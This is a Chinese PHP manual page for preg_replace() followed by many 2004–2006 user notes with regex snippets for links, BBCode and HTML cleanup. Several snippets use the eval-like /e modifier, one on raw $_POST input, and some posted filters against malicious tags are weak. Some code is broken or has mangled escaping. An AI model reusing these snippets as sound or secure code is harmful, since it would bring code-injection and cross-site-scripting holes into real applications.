print preg_replace($patterns, $replacements, $string);

/* Output
   ======

The slow black bear jumped over the lazy dog.

*/

?>

如果 subject 是个数组，则会对 subject 中的每个项目执行搜索和替换，并返回一个数组。

如果 pattern 和 replacement 都是数组，则 preg_replace() 会依次从中分别取出值来对 subject 进行搜索和替换。如果 replacement 中的值比 pattern 中的少，则用空字符串作为余下的替换值。如果 pattern 是数组而 replacement 是字符串，则对 pattern 中的每个值都用此字符串作为替换值。反过来则没有意义了。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码（在适当的逆向引用替换完之后）。提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

例子 3. 替换数个值

<?php
$patterns = array ("/(19|20)(\d{2})-(\d{1,2})-(\d{1,2})/",
                   "/^\s*{(\w+)}\s*=/");
$replace = array ("\\3/\\4/\\1\\2", "$\\1 =");
print preg_replace ($patterns, $replace, "{startDate} = 1999-5-27");
?>

本例将输出：

$startDate = 5/27/1999

例子 4. 使用 /e 修正符

<?php
preg_replace ("/(<\/?)(\w+)([^>]*>)/e",
              "'\\1'.strtoupper('\\2').'\\3'",
              $html_body);
?>

这将使输入字符串中的所有 HTML 标记变成大写。

例子 5. 将 HTML 转换成文本

<?php
// $document 应包含一个 HTML 文档。
// 本例将去掉 HTML 标记，javascript 代码
// 和空白字符。还会将一些通用的
// HTML 实体转换成相应的文本。

$search = array ("'<script[^>]*?>.*?</script>'si",  // 去掉 javascript
                 "'<[\/\!]*?[^<>]*?>'si",           // 去掉 HTML 标记
                 "'([\r\n])[\s]+'",                 // 去掉空白字符
                 "'&(quot|#34);'i",                 // 替换 HTML 实体
                 "'&(amp|#38);'i",
                 "'&(lt|#60);'i",
                 "'&(gt|#62);'i",
                 "'&(nbsp|#160);'i",
                 "'&(iexcl|#161);'i",
                 "'&(cent|#162);'i",
                 "'&(pound|#163);'i",
                 "'&(copy|#169);'i",
                 "'&#(\d+);'e");                    // 作为 PHP 代码运行

$replace = array ("",
                  "",
                  "\\1",
                  "\"",
                  "&",
                  "<",
                  ">",
                  " ",
                  chr(161),
                  chr(162),
                  chr(163),
                  chr(169),
                  "chr(\\1)");

$text = preg_replace ($search, $replace, $document);
?>

注: limit 参数是 PHP 4.0.1pl2 之后加入的。

参见 preg_match()，preg_match_all() 和 preg_split()。

add a note add a note User Contributed Notes
Sune Rievers
25-May-2006 01:58
Updated version of the link script, since the other version didn't work with links in beginning of line, links without http:// and emails. Oh, and a bf2:// detection too for all you gamers ;)

function make_links_blank($text)
{
  return  preg_replace(
     array(
       '/(?(?=<a[^>]*>.+<\/a>)
             (?:<a[^>]*>.+<\/a>)
             |
             ([^="\']?)((?:https?|ftp|bf2|):\/\/[^<> \n\r]+)
         )/iex',
       '/<a([^>]*)target="?[^"\']+"?/i',
       '/<a([^>]+)>/i',
       '/(^|\s)(www.[^<> \n\r]+)/iex',
       '/(([_A-Za-z0-9-]+)(\\.[_A-Za-z0-9-]+)*@([A-Za-z0-9-]+)
       (\\.[A-Za-z0-9-]+)*)/iex'
       ),
     array(
       "stripslashes((strlen('\\2')>0?'\\1<a href=\"\\2\">\\2</a>\\3':'\\0'))",
       '<a\\1',
       '<a\\1 target="_blank">',
       "stripslashes((strlen('\\2')>0?'\\1<a href=\"http://\\2\">\\2</a>\\3':'\\0'))",
       "stripslashes((strlen('\\2')>0?'<a href=\"mailto:\\0\">\\0</a>':'\\0'))"
       ),
       $text
   );
}
sep16 at psu dot edu
19-May-2006 11:28
Re: preg_replace() with the /e modifier; handling escaped quotes.

I was writing a replacement pattern to parse HTML text which sometimes contained PHP variable-like strings. Various initial solutions yeilded either escaped quotes or fatal errors due to these variable-like strings being interpreted as poorly formed variables.

"Tim K." and "steven -a-t- acko dot net" provide some detailed discussion of preg_replace's quote escaping in the comments below, including the use of str_replace() to remove the preg_replace added slash-quote.  However, this suggestion is applied to the entire text AFTER the preg_match.  This isn't a robust solution in that it is conceivable that the text unaffected by the preg_replace() may contain the string \\" which should not be fixed.  Furthermore, the addition of escaped quotes within preg_replaces with multiple patterns/replacements (with arrays) may break one of the following patterns.

The solution, then, must fix the quote-escaped text BEFORE replacing it in the target, and possibly before it is passed to a function within the replacement code.  Since the replacement string is interpreted as PHP code, just use str_replace('\\"','"','$1') where you need an unadulterated $1 to appear.  The key is to properly escape the necessary characters.  Three variations appear in the examples below, as well as a set of incorrect examples.  I haven't seen this solution posted before, so hopefully this will be helpful rather than covering old ground.

Try this example code:

<?php
/*
   Using preg_replace with the /e modifier on ANY text, regardless of single
   quotes, double quotes, dollar signs, backslashes, and variable interpolation.

   Tested on PHP 5.0.4 (cli), PHP 5.1.2-1+b1 (cli), and PHP 5.1.2 for Win32.

   Solution?
       1.  Use single quotes for the replacement string.
       2.  Use escaped single quotes around the captured text variable (\\'$1\\').
       3.  Use str_replace() to remove the escaped double quotes
           from within the replacement code (\\" -> ").
*/

function _prc_function1($var1,$var2,$match) {
   $match = str_replace('\\"','"',$match);
   // ... do other stuff ...
   return $var1.$match.$var2;
}
function _prc_function2($var1,$var2,$match) {
   // ... do other stuff ...
   return $var1.$match.$var2;
}

$v1 = '(';
$v2 = ')';
// Lots of tricky characters:
$text = "<xxx>...\\$varlike_text[_'\\\\\\""\\"'...</xxx>";
$pattern = '/<xxx>(.*?)</xxx>/e';

echo $text . " Original.<br>\\n";

// Example #1 - Processing in place.
// returns (...$varlike_text['"""\\'...)
echo preg_replace(
   $pattern,
   '$v1 . str_replace(\\'\\\\"',\\'"\\',\\'$1\\') . $v2',
   $text) . " Escaped double quotes replaced with str_replace. (Good.)<br>n";

// Example #2 - Processing within a function.
// returns (...$varlike_text['\\"""'...)
echo preg_replace(
   $pattern,
   '_prc_function1($v1,$v2,'$1\\')',
   $text) . " Escaped double quotes replaced in a function. (Good.)<br>\\n";

// Example #3 - Preprocessing before a function.
// returns (...$varlike_text['"""\\'...)
echo preg_replace(
   $pattern,
   '_prc_function2($v1,$v2,str_replace(\\'\\\\"',\\'"\\',\\'$1\\'))',
   $text) . " Escaped double quotes replaced with str_replace before sending match to a function. (Good.)<br>n";

// Example #4 - INCORRECT implementations
//  a. returns (...$varlike_text[_'\\\\""\\"'...)
//  b. returns (...$varlike_text[_'"\\\\""\\'...)
//  c. returns (...$varlike_text[_'\\\\""\\"'...)
//  d. Causes a syntax+fatal error, unexpected T_BAD_CHARACTER...
echo preg_replace( $pattern, "\\$v1 . '$1' . \\$v2", $text)," Enclosed in double/single quotes. (Wrong!  Extra slashes.)<br>\\n";
echo preg_replace( $pattern, "\\$v1 . '$1' . \\$v2", $text)," Enclosed in double/single quotes, $ escaped. (Wrong!  Extra slashes.)<br>\\n";
echo preg_replace( $pattern, '$v1 . '$1\\' . $v2', $text)," Enclosed in single/single quotes. (Wrong!  Extra slashes.)<br>\\n";
echo preg_replace( $pattern, '$v1 . "$1" . $v2', $text)," Enclosed in single quotes. (Wrong!  Dollar sign in text is interpreted as variable interpolation.)<br>\\n";

?>
klemens at ull dot at
16-May-2006 05:24
See as well the excellent tutorial at http://www.tote-taste.de/X-Project/regex/index.php

;-) Klemens
robvdl at gmail dot com
21-Apr-2006 08:15
For those of you that have ever had the problem where clients paste text from msword into a CMS, where word has placed all those fancy quotes throughout the text, breaking the XHTML validator... I have created a nice regular expression, that replaces ALL high UTF-8 characters with HTML entities, such as &#8217;.

Note that most user examples on php.net I have read, only replace selected characters, such as single and double quotes. This replaces all high characters, including greek characters, arabian characters, smilies, whatever.

It took me ages to get it just downto two regular expressions, but it handles all high level characters properly.

$text = preg_replace('/([\xc0-\xdf].)/se', "'&#' . ((ord(substr('$1', 0, 1)) - 192) * 64 + (ord(substr('$1', 1, 1)) - 128)) . ';'", $text);
$text = preg_replace('/([\xe0-\xef]..)/se', "'&#' . ((ord(substr('$1', 0, 1)) - 224) * 4096 + (ord(substr('$1', 1, 1)) - 128) * 64 + (ord(substr('$1', 2, 1)) - 128)) . ';'", $text);
heppa(at)web(dot)de
20-Apr-2006 11:37
I just wanted to give an example for some people that have the problem, that their match is taking away too much of the string.

I wanted to have a function that extracts only wanted parameters out of a http query string, and they had to be flexible, eg 'updateItem=1' should be replaced, as well as 'updateCategory=1', but i sometimes ended up having too much replaced from the query.

example:

my query string: 'updateItem=1&itemID=14'

ended up in a query string like this: '4' , which was not really covering the plan ;)

i was using this regexp:

preg_replace('/&?update.*=1&?/','',$query_string);

i discovered, that preg_replace matches the longest possible string, which means that it replaces everything from the first u up to the 1 after itemID=

I assumed, that it would take the shortest possible match.
Ritter
19-Apr-2006 05:08
for those of you with multiline woes like I was having, try:

$str = preg_replace('/<tag[^>](.*)>(.*)<\/tag>/ims','<!-- edited -->', $str);
Eric
10-Apr-2006 02:54
Here recently I needed a way to replace links (<a href="blah.com/blah.php">Blah</a>) with their anchor text, in this case Blah. It might seem simple enough for some..or most, but at the benefit of helping others:

<?php

$value = '<a href="http://www.domain.com/123.html">123</a>';

echo preg_replace('/<a href="(.*?)">(.*?)<\\/a>/i', '$2', $value);

//Output
// 123

?>
sesha_srinivas at yahoo dot com
08-Apr-2006 04:13
If you have a form element displaying the amounts using "$" and ",". Before posting it to the db you can use the following:

$search = array('/,/','/\$/');

$replace = array('','');

$data['amount_limit'] = preg_replace($search,'',$data['amount_limit']);
ciprian dot amariei Mtaiil gmail * com
06-Apr-2006 01:21
I found some situations that my function bellow doesn't
perform as expected. Here is the new version.

<?php
function make_links_blank( $text )
{
 return  preg_replace(
     array(
       '/(?(?=<a[^>]*>.+<\/a>)
             (?:<a[^>]*>.+<\/a>)
             |
             ([^="\'])((?:https?|ftp):\/\/[^<> \n\r]+)
         )/iex',
       '/<a([^>]*)target="?[^"\']+"?/i',
       '/<a([^>]+)>/i'
       ),
     array(
       "stripslashes((strlen('\\2')>0?'\\1<a href=\"\\2\">\\2</a>\\3':'\\0'))",
       '<a\\1',
       '<a\\1 target="_blank">'
       ),
       $text
   );
}

?>

This function replaces links (http(s)://, ftp://) with respective html anchor tag, and also makes all anchors open in a new window.
ae at instinctive dot de
28-Mar-2006 11:40
Something innovative for a change ;-) For a news system, I have a special format for links:

"Go to the [Blender3D Homepage|http://www.blender3d.org] for more Details"

To get this into a link, use:

$new = preg_replace('/\[(.*?)\|(.*?)\]/', '<a href="$2" target="_blank">$1</a>', $new);
c_stewart0a at yahoo dot com
18-Mar-2006 06:35
In response to elaineseery at hotmail dot com

[quote]if you're new to this function, and getting an error like  'delimiter must not alphanumeric backslash ...[/quote]

Note that if you use arrays for search and replace then you will want to quote your searching expression with / or you will get this error.

However, if you use a single string to search and replace then you will not recieve this error if you do not quote your regular expression in /
Graham Dawson <graham at imdanet dot com>
16-Mar-2006 06:46
I said there was a better way. There is!

The regexp is essentially the same but now I deal with problems that it couldn't handle, such as urls, which tended to screw things up, and the odd placement of a : or ; in the body text, by using functions. This makes it easier to expand to take account of all the things I know I've not taken account of. But here it is in its essential glory. Or mediocrity. Take your pick.

<?php

define('PARSER_ALLOWED_STYLES_',
'text-align,font-family,font-size,text-decoration');

function strip_styles($source=NULL) {
  $exceptions = str_replace(',', '|', @constant('PARSER_ALLOWED_STYLES_'));

  /* First we want to fix anything that might potentially break the styler stripper, sow e try and replace
   * in-text instances of : with its html entity replacement.
   */

  function Replacer($text) {
   $check = array (
       '@:@s',
   );
   $replace = array(
       '&#58;',
   );

   return preg_replace($check, $replace, $text[0]);
  }

  $source = preg_replace_callback('@>(.*)<@Us', 'Replacer', $source);

  $regexp =

'@([^;"]+)?(?<!'. $exceptions. ')(?<!\>\w):(?!\/\/(.+?)\/|<|>)((.*?)[^;"]+)(;)?@is';

  $source = preg_replace($regexp, '', $source);

  $source = preg_replace('@[a-z]*=""@is', '', $source);

  return $source;
}

?>
rybasso
16-Mar-2006 05:33
"Document contains no data" message in FF and 'This page could not be found' in IE occures when you pass too long <i>subject</i> string to preg_replace() with default <i>limit</i>.

Increment the limit to be sure it's larger than a subject lenght.
Ciprian Amariei
16-Mar-2006 06:50
Here is a function that replaces the links (http(s)://, ftp://) with respective html anchor, and also makes all anchors open in a new window.

function make_links_blank( $text )
{

 return  preg_replace( array(
               "/[^\"'=]((http|ftp|https):\/\/[^\s\"']+)/i",
               "/<a([^>]*)target=\"?[^\"']+\"?/i",
               "/<a([^>]+)>/i"
       ),
         array(
               "<a href=\"\\1\">\\1</a>",
               "<a\\1",
               "<a\\1 target=\"_blank\" >"
           ),
       $text
       );
}
felipensp at gmail dot com
13-Mar-2006 01:02
Sorry, I don't know English.

Replacing letters of badword for a definite character.
View example:

<?php

function censured($string, $aBadWords, $sChrReplace) {

   foreach ($aBadWords as $key => $word) {

       // Regexp for case-insensitive and use the functions
       $aBadWords[$key] = "/({$word})/ie";

   }

   // to substitue badwords for definite character
   return preg_replace($aBadWords,
                       "str_repeat('{$sChrReplace}', strlen('\\1'))",
                       $string
                       );

}

// To show modifications
print censured('The nick of my friends are rand, v1d4l0k4, P7rk, ferows.',
               array('RAND', 'V1D4L0K4', 'P7RK', 'FEROWS'),
               '*'
               );

?>
Graham Dawson graham_at_imdanet_dot_com
07-Mar-2006 05:32
Inspired by the query-string cleaner from greenthumb at 4point-webdesign dot com and istvan dot csiszar at weblab dot hu. This little bit of code cleans up any "style" attributes in your tags, leaving behind only styles that you have specifically allowed. Also conveniently strips out nonsense styles. I've not fully tested it yet so I'm not sure if it'll handle features like url(), but that shouldn't be a difficulty.

<?php

/* The string would normally be a form-submitted html file or text string */

$string = '<span style="font-family:arial; font-size:20pt; text-decoration:underline; sausage:bueberry;" width="200">Hello there</span> This is some <div style="display:inline;">test text</div>';

/* Array of styles to allow. */
$except = array('font-family', 'text-decoration');
$allow = implode($except, '|');

/* The monster beast regexp. I was up all night trying to figure this one out. */

$regexp = '@([^;"]+)?(?<!'.$allow.'):(?!\/\/(.+?)\/)((.*?)[^;"]+)(;)?@is';
print str_replace('<', '<', $regexp).'<br/><br/>';

$out = preg_replace($regexp, '', $string);

/* Now lets get rid of any unwanted empty style attributes */

$out = preg_replace('@[a-z]*=""@is', '', $out);

print $out;

?>

This should produce the following:

<span style="font-family:arial; text-decoration:underline;" width="200">Hello there</span> This is some <div >test text</div>

Now, I'm a relative newbie at this so I'm sure there's a better way to do it. There's *always* a better way.
elaineseery at hotmail dot com
15-Feb-2006 10:44
if you're new to this function, and getting an error like
'delimiter must not alphanumeric backslash ...

note that whatever is in $pattern (and only $pattern, not $string, or $replacement) must be enclosed by '/  /' (note the forward slashes)

e.g.
$pattern = '/and/';
$replacement = 'sandy';
$string = 'me and mine';

generates 'me sandy mine'

seems to be obvious to everyone else, but took me a while to figure out!!
jsirovic at gmale dot com
08-Feb-2006 01:23
If the lack of &$count is aggravating in PHP 4.x, try this:

$replaces = 0;

$return .= preg_replace('/(\b' . $substr . ')/ie', '"<$tag>$1<$end_tag>" . (substr($replaces++,0,0))', $s2, $limit);
no-spam@idiot^org^ru
05-Feb-2006 04:21
decodes ie`s escape() result

<?

function unicode_unescape(&$var, $convert_to_cp1251 = false){
   $var = preg_replace(
       '#%u([\da-fA-F]{4})#mse',
       $convert_to_cp1251 ? '@iconv("utf-16","windows-1251",pack("H*","\1"))' : 'pack("H*","\1")',
       $var
   );
}

//

$str = 'to %u043B%u043E%u043F%u0430%u0442%u0430 or not to %u043B%u043E%u043F%u0430%u0442%u0430';

unicode_unescape($str, true);

echo $str;

?>
leandro[--]ico[at]gm[--]ail[dot]com
05-Feb-2006 01:40
I've found out a really odd error.

When I try to use the 'empty' function in the replacement string (when using the 'e' modifier, of course) the regexp interpreter get stucked at that point.

An examplo of this failure:

<?php
echo $test = preg_replace( "/(bla)/e", "empty(123)", "bla bla ble" );

# it should print something like:
# "1 1 ble"
?>

Very odd, huh?
04-Feb-2006 12:00
fairly useful script to replace normal html entities with ordinal-value entities.  Useful for writing to xml documents where entities aren't defined.
<?php
$p='#(\&[\w]+;)#e';
$r="'&#'.ord(html_entity_decode('$1')).';'";
$text=preg_replace($p,$r,$_POST['data']);
?>
Rebort
03-Feb-2006 03:51
Following up on pietjeprik at gmail dot com's great string to parse [url] bbcode:
<?php
$url = '[url=http://www.foo.org]The link[/url]';
$text = preg_replace("/\[url=(\W?)(.*?)(\W?)\](.*?)\[\/url\]/", '<a href="$2">$4</a>', $url);
?>

This allows for the user to enter variations:

[url=http://www.foo.org]The link[/url]
[url="http://www.foo.org"]The link[/url]
[url='http://www.foo.org']The link[/url]

or even

[url=#http://www.foo.org#]The link[/url]
[url=!http://www.foo.org!]The link[/url]
01-Feb-2006 02:23
Uh-oh. When I looked at the text in the preview, I had to double the number of backslashes to make it look right.
I'll try again with my original text:

$full_text = preg_replace('/\[p=(\d+)\]/e',
  "\"<a href=\\\"./test.php?person=$1\\\">\"
   .get_name($1).\"</a>\"",
   $short_text);

I hope that it comes out correctly this time :-)
leif at solumslekt dot org
01-Feb-2006 12:24
I've found a use for preg_replace. If you've got eg. a database with persons assiciated with numbers, you may want to input links in a kind of shorthand, like [p=12345], and have it expanded to a full url with a name in it.

This is my solution:

$expanded_text = preg_replace('/\\[p=(\d+)\\]/e',
   "\\"<a href=\\\\\\"./test.php?person=$1\\\\\\">\\".get_name($1).\\"</a&>\\"",
       $short_text);

It took me some time to work out the proper number of quotes and backslashes.

regards, Leif.
SG_01
20-Jan-2006 08:43
Re: wcc at techmonkeys dot org

You could put this in 1 replace for faster execution as well:

<?php

/*
 * Removes all blank lines from a string.
 */
function removeEmptyLines($string)
{
   return preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $string);
}

?>
05-Jan-2006 06:09
First, I have no idea about regexp, all I did has been through trial and error,
I wrote this function which tries to clean crappy ms word html, I use it to clean user pasted code to online wysiwyg online editors from ms word.
Theres a huge space for improvement, I post it here because after searching I could not find any pure php solution, the best alternative however, is tidy, but for those of us who are still using PHP 4 and do not have access to the server, this could be an alternative, use it under your own risk... once again, it was a quickie and I know there can be much better ways to do this:

function decraper($htm, $delstyles=false) {
   $commoncrap = array('&quot;'
   ,'font-weight: normal;'
   ,'font-style: normal;'
   ,'line-height: normal;'
   ,'font-size-adjust: none;'
   ,'font-stretch: normal;');
   $replace = array("'");
   $htm = str_replace($commoncrap, $replace, $htm);
     $pat = array();
   $rep = array();
   $pat[0] = '/(<table\s.*)(width=)(\d+%)(\D)/i';
   $pat[1] = '/(<td\s.*)(width=)(\d+%)(\D)/i';
   $pat[2] = '/(<th\s.*)(width=)(\d+%)(\D)/i';
   $pat[3] = '/<td( colspan="[0-9]+")?( rowspan="[0-9]+")?
( width="[0-9]+")?( height="[0-9]+")?.*?>/i';
   $pat[4] = '/<tr.*?>/i';
   $pat[5]=
'/<\/st1:address>(<\/st1:\w*>)?
<\/p>[\n\r\s]*<p[\s\w="\']*>/i';
   $pat[6] = '/<o:p.*?>/i';
   $pat[7] = '/<\/o:p>/i';
   $pat[8] = '/<o:SmartTagType[^>]*>/i';
   $pat[9] = '/<st1:[\w\s"=]*>/i';
   $pat[10] = '/<\/st1:\w*>/i';
   $pat[11] = '/<p class="MsoNormal"[^>]*>(.*?)<\/p>/i';
   $pat[12] = '/ style="margin-top: 0cm;"/i';
   $pat[13] = '/<(\w[^>]*) class=([^ |>]*)([^>]*)/i';
   $pat[14] = '/<ul(.*?)>/i';
   $pat[15] = '/<ol(.*?)>/i';
   $pat[17] = '/<br \/>&nbsp;<br \/>/i';
   $pat[18] = '/&nbsp;<br \/>/i';
   $pat[19] = '/<!-.*?>/';
   $pat[20] = '/\s*style=(""|\'\')/';
   $pat[21] = '/ style=[\'"]tab-interval:[^\'"]*[\'"]/i';
   $pat[22] = '/behavior:[^;\'"]*;*(\n|\r)*/i';
   $pat[23] = '/mso-[^:]*:"[^"]*";/i';
   $pat[24] = '/mso-[^;\'"]*;*(\n|\r)*/i';
   $pat[25] = '/\s*font-family:[^;"]*;?/i';
   $pat[26] = '/margin[^"\';]*;?/i';
   $pat[27] = '/text-indent[^"\';]*;?/i';
   $pat[28] = '/tab-stops:[^\'";]*;?/i';
   $pat[29] = '/border-color: *([^;\'"]*)/i';
   $pat[30] = '/border-collapse: *([^;\'"]*)/i';
   $pat[31] = '/page-break-before: *([^;\'"]*)/i';
   $pat[32] = '/font-variant: *([^;\'"]*)/i';
   $pat[33] = '/<span [^>]*><br \/><\/span><br \/>/i';
   $pat[34] = '/" "/';
   $pat[35] = '/[\t\r\n]/';
   $pat[36] = '/\s\s/s';
   $pat[37] = '/ style=""/';
   $pat[38] = '/<span>(.*?)<\/span>/i';
//empty (no attribs) spans
   $pat[39] = '/<span>(.*?)<\/span>/i';
//twice, nested spans
   $pat[40] = '/(;\s|\s;)/';
   $pat[41] = '/;;/';
   $pat[42] = '/";/';
   $pat[43] = '/<li(.*?)>/i';
   $pat[44] =
'/(<\/b><b>|<\/i><i>|<\/em><em>|
<\/u><u>|<\/strong><strong>)/i';
   $rep[0] = '$1$2"$3"$4';
   $rep[1] = '$1$2"$3"$4';
   $rep[2] = '$1$2"$3"$4';
   $rep[3] = '<td$1$2$3$4>';
   $rep[4] = '<tr>';
   $rep[5] = '<br />';
   $rep[6] = '';
   $rep[7] = '<br />';
   $rep[8] = '';
   $rep[9] = '';
   $rep[10] = '';
   $rep[11] = '$1<br />';
   $rep[12] = '';
   $rep[13] = '<$1$3';
   $rep[14] = '<ul>';
   $rep[15] = '<ol>';
   $rep[17] = '<br />';
   $rep[18] = '<br />';
   $rep[19] = '';
   $rep[20] = '';
   $rep[21] = '';
   $rep[22] = '';
   $rep[23] = '';
   $rep[24] = '';
   $rep[25] = '';
   $rep[26] = '';
   $rep[27] = '';
   $rep[28] = '';
   $rep[29] = '';
   $rep[30] = '';
   $rep[31] = '';
   $rep[32] = '';
   $rep[33] = '<br />';
   $rep[34] = '""';
   $rep[35] = '';
   $rep[36] = '';
   $rep[37] = '';
   $rep[38] = '$1';
   $rep[39] = '$1';
   $rep[40] = ';';
   $rep[41] = ';';
   $rep[42] = '"';
   $rep[43] = '<li>';
   $rep[44] = '';
   if($delstyles===true){
       $pat[50] = '/ style=".*?"/';
       $rep[50] = '';
   }
   ksort($pat);
   ksort($rep);
   return $htm;
}

Hope it helps, critics are more than welcome.
kyle at vivahate dot com
23-Dec-2005 04:08
Here is a regular expression to "slashdotify" html links.  This has worked well for me, but if anyone spots errors, feel free to make corrections.

<?php
$url = '<a attr="garbage" href="http://us3.php.net/preg_replace">preg_replace - php.net</a>';
$url = preg_replace( '/<.*href="?(.*:\/\/)?([^ \/]*)([^ >"]*)"?[^>]*>(.*)(<\/a>)/', '<a href="$1$2$3">$4</a> [$2]', $url );
?>

Will output:

<a href="http://us3.php.net/preg_replace">preg_replace - php.net</a> [us3.php.net]
istvan dot csiszar at weblab dot hu
21-Dec-2005 05:53
This is an addition to the previously sent removeEvilTags function. If you don't want to remove the style tag entirely, just certain style attributes within that, then you might find this piece of code useful:

<?php

function removeEvilStyles($tagSource)
{
   // this will leave everything else, but:
   $evilStyles = array('font', 'font-family', 'font-face', 'font-size', 'font-size-adjust', 'font-stretch', 'font-variant');

   $find = array();
   $replace = array();

   foreach ($evilStyles as $v)
   {
       $find[]    = "/$v:.*?;/";
       $replace[] = '';
   }

   return preg_replace($find, $replace, $tagSource);
}

function removeEvilTags($source)
{
   $allowedTags = '<h1><h2><h3><h4><h5><a><img><label>'.
       '<p><br><span><sup><sub><ul><li><ol>'.
       '<table><tr><td><th><tbody><div><hr><em><b><i>';
   $source = strip_tags(stripslashes($source), $allowedTags);
   return trim(preg_replace('/<(.*?)>/ie', "'<'.removeEvilStyles('\\1').'>'", $source));
}

?>
triphere
18-Dec-2005 01:13
to remove Bulletin Board Code (remove bbcode)

$body = preg_replace("[\[(.*?)\]]", "", $body);
jcheger at acytec dot com
09-Dec-2005 04:16
Escaping quotes may be very tricky. Magic quotes and preg_quote are not protected against double escaping. This means that an escaped quote will get a double backslash, or even more. preg_quote ("I\'m using regex") will return "I\\'m using regex".

The following example escapes only unescaped single quotes:

<?php
$a = "I'm using regex";
$b = "I\'m using regex";

$patt = "/(?<!\\\)\'/";
$repl = "\\'";

print "a:  ".preg_replace ($patt, $repl, $a)."\n";
print "b:  ".preg_replace ($patt, $repl, $b)."\n";
?>

and prints:
a:  I\'m using regex
b:  I\'m using regex

Remark: matching a backslashe require a triple backslash (\\\).
urbanheroes {at} gmail {dot} com
16-Aug-2005 04:00
Here are two functions to trim a string down to a certain size.

"wordLimit" trims a string down to a certain number of words, and adds an ellipsis after the last word, or returns the string if the limit is larger than the number of words in the string.

"stringLimit" trims a string down to a certain number of characters, and adds an ellipsis after the last word, without truncating any words in the middle (it will instead leave it out), or returns the string if the limit is larger than the string size. The length of a string will INCLUDE the length of the ellipsis.

<?php

function wordLimit($string, $length = 50, $ellipsis = '...') {
   return count($words = preg_split('/\s+/', ltrim($string), $length + 1)) > $length ?
       rtrim(substr($string, 0, strlen($string) - strlen(end($words)))) . $ellipsis :
       $string;
}

function stringLimit($string, $length = 50, $ellipsis = '...') {
   return strlen($fragment = substr($string, 0, $length + 1 - strlen($ellipsis))) < strlen($string) + 1 ?
       preg_replace('/\s*\S*$/', '', $fragment) . $ellipsis : $string;
}

echo wordLimit('  You can limit a string to only so many words.', 6);
// Output: "You can limit a string to..."
echo stringLimit('Or you can limit a string to a certain amount of characters.', 32);
// Output: "Or you can limit a string to..."

?>
avizion at relay dot dk
25-Apr-2005 03:04
Just a note for all FreeBSD users wondering why this function is not present after installing php / mod_php (4 and 5) from ports.

Remember to install:

/usr/ports/devel/php4-pcre (or 5 for -- 5 ;)

That's all... enjoy - and save 30 mins. like I could have used :D
jhm at cotren dot net
19-Feb-2005 06:04
It took me a while to figure this one out, but here is a nice way to use preg_replace to convert a hex encoded string back to clear text

<?php
   $text = "PHP rocks!";
   $encoded = preg_replace(
           "'(.)'e"
         ,"dechex(ord('\\1'))"
         ,$text
   );
   print "ENCODED: $encoded\n";
?>
ENCODED: 50485020726f636b7321
<?php
   print "DECODED: ".preg_replace(
       "'([\S,\d]{2})'e"
     ,"chr(hexdec('\\1'))"
     ,$encoded)."\n";
?>
DECODED: PHP rocks!
gbaatard at iinet dot net dot au
15-Feb-2005 01:56
on the topic of implementing forum code ([b][/b] to <b></b> etc), i found this worked well...

<?php
$body = preg_replace('/\[([biu])\]/i', '<\\1>', $body);
$body = preg_replace('/\[\/([biu])\]/i', '</\\1>', $body);
?>

First line replaces [b] [B] [i] [I] [u] [U] with the appropriate html tags(<b>, <i>, <u>)

Second one does the same for closing tags...

For urls, I use...

<?php
$body = preg_replace('/\s(\w+:\/\/)(\S+)/', ' <a href="\\1\\2" target="_blank">\\1\\2</a>', $body);
?>

and for urls starting with www., i use...

<?php
$body = preg_replace('/\s(www\.)(\S+)/', ' <a href="http://\\1\\2" target="_blank">\\1\\2</a>', $body);
?>

Pop all these lines into a function that receives and returns the text you want 'forum coded' and away you go:)
tash at quakersnet dot com
30-Jan-2005 08:25
A better way for link & email conversaion, i think. :)

<?php
function change_string($str)
   {
     $str = trim($str);
     $str = htmlspecialchars($str);
     $str = preg_replace('#(.*)\@(.*)\.(.*)#','<a href="mailto:\\1@\\2.\\3">Send email</a>',$str);
     $str = preg_replace('=([^\s]*)(www.)([^\s]*)=','<a href="http://\\2\\3" target=\'_new\'>\\2\\3</a>',$str);
     return $str;
   }
?>
jw-php at valleyfree dot com
26-Jan-2005 12:28
note the that if you want to replace all backslashes in a string with double backslashes (like addslashes() does but just for backslashes and not quotes, etc), you'll need the following:

$new = preg_replace('/\\\\/','\\\\\\\\',$old);

note the pattern uses 4 backslashes and the replacement uses 8!  the reason for 4 slashses in the pattern part has already been explained on this page, but nobody has yet mentioned the need for the same logic in the replacement part in which backslashes are also doubly parsed, once by PHP and once by the PCRE extension.  so the eight slashes break down to four slashes sent to PCRE, then two slashes put in the final output.
Nick
21-Jan-2005 07:05
Here is a more secure version of the link conversion code which hopefully make cross site scripting attacks more difficult.

<?php
function convert_links($str) {
       $replace = <<<EOPHP
'<a href="'.htmlentities('\\1').htmlentities('\\2').//remove line break
'">'.htmlentities('\\1').htmlentities('\\2').'</a>'
EOPHP;
   $str = preg_replace('#(http://)([^\s]*)#e', $replace, $str);
   return $str;
}
?>
ignacio paz posse
22-Oct-2004 04:22
I needed to treat exclusively long urls and not shorter ones for which my client prefered to have their complete addresses displayed. Here's the function I end up with:

<?php
function auto_url($txt){

  # (1) catch those with url larger than 71 characters
  $pat = '/(http|ftp)+(?:s)?:(\\/\\/)'
       .'((\\w|\\.)+)(\\/)?(\\S){71,}/i';
  $txt = preg_replace($pat, "<a href=\"\\0\" target=\"_blank\">$1$2$3/...</a>",
$txt);

  # (2) replace the other short urls provided that they are not contained inside an html tag already.
  $pat = '/(?<!href=\")(http|ftp)+(s)?:' .
     .'(\\/\\/)((\\w|\\.)+) (\\/)?(\\S)/i';
  $txt = preg_replace($pat,"<a href=\"$0\" target=\"_blank\">$0</a> ",
  $txt);

  return $txt;
}
?>
Note the negative look behind expression added in the second instance for exempting those that are preceded with ' href=" ' (meaning that they were already put inside appropiate html tags by the previous expression)

(get rid of the space between question mark and the last parenthesis group in both regex, I need to put it like that to be able to post this comment)
gabe at mudbuginfo dot com
19-Oct-2004 04:39
It is useful to note that the 'limit' parameter, when used with 'pattern' and 'replace' which are arrays, applies to each individual pattern in the patterns array, and not the entire array.
<?php

$pattern = array('/one/', '/two/');
$replace = array('uno', 'dos');
$subject = "test one, one two, one two three";

echo preg_replace($pattern, $replace, $subject, 1);
?>

If limit were applied to the whole array (which it isn't), it would return:
test uno, one two, one two three

However, in reality this will actually return:
test uno, one dos, one two three
silasjpalmer at optusnet dot com dot au
19-Mar-2004 10:00
